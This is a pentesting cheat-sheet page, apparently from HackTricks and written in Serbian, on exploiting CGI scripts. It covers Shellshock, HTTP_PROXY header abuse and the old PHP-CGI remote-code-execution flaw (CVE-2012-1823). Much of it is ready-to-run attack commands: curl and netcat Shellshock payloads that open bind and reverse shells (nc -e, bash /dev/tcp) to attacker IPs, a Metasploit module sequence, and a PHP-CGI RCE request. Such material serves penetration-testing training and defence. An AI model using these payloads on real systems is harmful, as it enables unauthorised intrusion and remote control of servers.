{{#include ../../banners/hacktricks-training.md}} # Informacije **CGI skripte su perl skripte**, tako da, ako ste kompromitovali server koji može izvršavati _**.cgi**_ skripte, možete **učitati perl reverznu ljusku** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **promeniti ekstenziju** sa **.pl** na **.cgi**, dati **dozvole za izvršavanje** \(`chmod +x`\) i **pristupiti** reverznoj ljusci **iz web pregledača** da je izvršite. Da biste testirali za **CGI ranjivosti**, preporučuje se korišćenje `nikto -C all` \(i svih dodataka\) # **ShellShock** **ShellShock** je **ranjivost** koja utiče na široko korišćeni **Bash** komandni interfejs u Unix-baziranim operativnim sistemima. Cilja sposobnost Basha da izvršava komande koje prosleđuju aplikacije. Ranjivost leži u manipulaciji **promenljivim okruženja**, koje su dinamički imenovane vrednosti koje utiču na to kako procesi rade na računaru. Napadači mogu iskoristiti ovo tako što će prikačiti **zloćudni kod** na promenljive okruženja, koji se izvršava prilikom primanja promenljive. Ovo omogućava napadačima da potencijalno kompromituju sistem. Iskorišćavanjem ove ranjivosti **stranica može prikazati grešku**. Možete **pronaći** ovu ranjivost primetivši da koristi **staru verziju Apachija** i **cgi_mod** \(sa cgi folderom\) ili koristeći **nikto**. ## **Test** Većina testova se zasniva na echo nečega i očekuje da se taj string vrati u web odgovoru. Ako mislite da bi stranica mogla biti ranjiva, pretražite sve cgi stranice i testirajte ih. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` ## **Curl \(reflektovani, slepi i van-banda\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' # Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump) curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi # Out-Of-Band Use Cookie as alternative to User-Agent curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh ``` [**Shellsocker**](https://github.com/liamim/shellshocker) ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` ## Eksploatacija ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 #Reverse shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80 #Reverse shell using curl curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi #Reverse shell using metasploit > use multi/http/apache_mod_cgi_bash_env_exec > set targeturi /cgi-bin/admin.cgi > set rhosts 10.1.2.11 > run ``` # **Proxy \(MitM do zahteva veb servera\)** CGI kreira promenljivu okruženja za svaki header u http zahtevu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com" Kao što se HTTP_PROXY promenljiva može koristiti od strane veb servera. Pokušajte da pošaljete **header** koji sadrži: "**Proxy: <IP_attacker>:<PORT>**" i ako server izvrši bilo koji zahtev tokom sesije. Moći ćete da uhvatite svaki zahtev koji server napravi. # Stari PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) U suštini, ako je cgi aktivan i php je "stari" \(<5.3.12 / < 5.4.2\) možete izvršiti kod. Da biste iskoristili ovu ranjivost, potrebno je da pristupite nekom PHP fajlu veb servera bez slanja parametara \(posebno bez slanja karaktera "="\). Zatim, da biste testirali ovu ranjivost, mogli biste pristupiti na primer `/index.php?-s` \(obratite pažnju na `-s`\) i **izvorni kod aplikacije će se pojaviti u odgovoru**. Zatim, da biste dobili **RCE** možete poslati ovaj poseban upit: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **PHP kod** koji treba da se izvrši u **telu zahteva. Primer:** ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` **Više informacija o ranjivosti i mogućim eksploatacijama:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** {{#include ../../banners/hacktricks-training.md}}